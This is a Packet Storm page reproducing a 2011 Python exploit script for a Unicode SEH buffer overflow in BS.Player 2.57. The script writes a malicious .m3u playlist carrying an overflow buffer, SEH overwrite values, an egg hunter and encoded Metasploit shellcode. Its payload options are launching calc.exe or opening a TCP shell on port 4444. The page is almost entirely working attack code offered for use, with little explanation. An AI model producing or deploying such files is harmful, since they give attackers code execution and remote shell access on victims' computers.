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BS.Player 2.57 Buffer Overflow

🗓️ 07 Jan 2011 00:00:00Reported by C4SS!0 G0M3SType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 14 Views

BS.Player 2.57 Buffer Overflow Exploi

Code
`#  
#  
#[+]Exploit Title: Exploit Buffer Overfloe Bsplayer 2.57(UNICODE-SEH)  
#[+]Date: 01\07\2010  
#[+]Author: C4SS!0 G0M3S  
#[+]Software Link: http://www.bsplayer.com/services/downlad-free-bsplayer.php?type=2  
#[+]Version: 2.57  
#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN  
#[+]CVE: N/A  
#  
#  
# ######### ## ######### ######### ## ###############  
# ######### #### ######### ######### ## ## ##   
# ## ## ## ## ## ## ## ##  
# ## ## ## ## ## ## ## ##  
# ## ########## ######## ######## ## ## ##  
# ## ## ## ## ## ## ##  
# ## ## ## ## ## ## ##  
# ######## ## ######## ######### ## ## ##  
# ######## ## ######## ######### \/ ###############  
#   
#Created By C4SS!0 G0M3S  
#[email protected]  
#www.invasao.com.br  
#  
#  
  
  
import os  
import sys  
import time  
import string  
  
os.system("cls")  
os.system("color 4f")  
  
def usage():  
print "\n"  
print "[+]Exploit: Exploit Buffer Overflow Bsplayer(UNICODE-SEH)"  
print "[+]Date: 01\\07\\2010"  
print "[+]Author: C4SS!0 G0M3S"  
print "[+]Home: www.invasao.com.br"  
print "[+]E-mail: [email protected]"  
print "[+]Version: 2.57"  
print "[+]Software: Bsplayer 2.57\n"  
print "[-]Note:"  
print "TO EXPLOIT THE RUN FILE NAME MUST BE FILE_NAME.M3U\n"  
  
  
if((len(sys.argv)!=3) or (int(sys.argv[1])<1) or (int(sys.argv[1])>2)):  
usage()  
print "Payloads:\n1 - WinExec(\"Calc.exe\",0)\n2 - Reverse_Tcp_Shell\n"  
print "[-]Usage: "+sys.argv[0]+" <Playload Number> <File Name>"  
print "[-]Exemple: "+sys.argv[0]+" 1 Exploit.m3u"  
sys.exit(0)  
  
usage()  
buffer = "\x42" * 4102  
nseh = "\x61\x6d"  
seh = "\xde\x4e" #pop ebx - pop ebp - ret at 0x004E00DE [bsplayer.exe]  
egg_hunter = "\x45\x61\x45\x61\x45\x50\x45\xc3"  
  
junk = "\x45" * 1094  
print "[*]Identifying the length Shellcode"  
time.sleep(1)  
if int(sys.argv[1]) == 2:  
shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"  
"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBNKWY7N4PV9X6PQX1PV9JYNZ9SDMTZTR" #  
"83SY0KT01RPLLLCBPLLT2RLPJX9KKTOX3NZUKKV0VLK3Y3MLRONMMJU2VWC8VQKQSOPTZT3CTK1LPUR6" #  
"KZR65RJC7NPWDLVRZQUMFMV85BXR7BOG8SCKUNXUVMVGIPMKJJZ6XSQ40ORI2UTOWNWRXVF679XJWYPL" #FROM METASPLOIT FRAMEWORK  
"OU2QOXQNN0GGLNM3HJLRVWUSKO4OWMVOZKXLKLY2B3U1BQMPEBVMQEEFULKP12N8GHWH43CROTS2NPPD" #  
"QT0YXLS5MOM3OCKSRWPFLJWWN19PSXXOFKYD7KLN3WYMFFEJY7LO785W6C1TM7MOURUH7EOM1FZTEMOJ" #SHELLCODE REVERSE_TCP_SHELL ON PORT 4444  
"28TUN2LK0SKNTKKPHJSDRKLFONNC2620QXQTRFZUE3UGR8TOL5V3YO47PRSMMBURNNL9MNEHNELX5NOW" #  
"Q8C5UPOLK3BIRSQBOXVDD9STOI8LHBM1Y3PEPOKMQOMKRN8JZIJ3MPJ0VRRYY92VP0DLVJ3TVJFWKSKB" #PROMPT:  
"QCMXW7O30CRZRF7JK7JV4S2SRM9M5RRTOZZVFYQQDKKW1LY7S6LZFJLLZNXMJB685QOJGLNKNITOCZSK" #  
"QITVVPONFL6LN0O1RVBINM6OLML4XL0TNL6RRVN28UOKSULQJXYLLY9NLM57LVDS8NY2PMQ3MORRMHQD" #C:\>Telnet 127.0.0.1 4444  
"BEINV9QY8U0MN1ZTUPPO3KGMVDOQWLNEUOJLWKE6UPNMBX12QURRNVJN78DYMXKOMHNA") #  
#  
if int(sys.argv[1]) == 1:  
shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ"  
"ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBIKY0NQ99GO3LLVRPHLXY2TMTL46QMNR"  
"8P1SHN853YXKLKSSHQXL4TENPSHWL3599RX6VNCJUKCH4VNSMM25ZOJP2MLWORBZMMM1DJ5QVO9MQ9W4"  
"V30ZUBQWZLFP5KELTXGCLKKMKLE2KZPNG9MOXKMNBNXMKVBK893KGOKSJXOPLPOMS8SR3UTPWKGHXOKT"  
"CDN4CMOQG1C34R171NSXML5WVKE7QSN4XL5VJZQM5W8O669OMOK90J9KN0Q31VVLNNOCUN957X7SHNOP"  
"YTP3KXWLE3O9XCKXJA")  
  
print "[*]The Length Shellcode:"+str(len(shellcode))  
  
time.sleep(1)  
  
shellcode += "\x41" * 5000  
  
file = str(sys.argv[2])  
  
payload = buffer+nseh+seh+egg_hunter+junk+shellcode  
  
op = "w"  
print "[*]Creating Your File "+file  
time.sleep(1)  
try:  
f = open(file,op)  
f.write("http://"+payload)  
f.close()  
print "[*]The File "+file+" was Successfully Created"  
except:  
print "[*]Error Creating File "+file  
  
`

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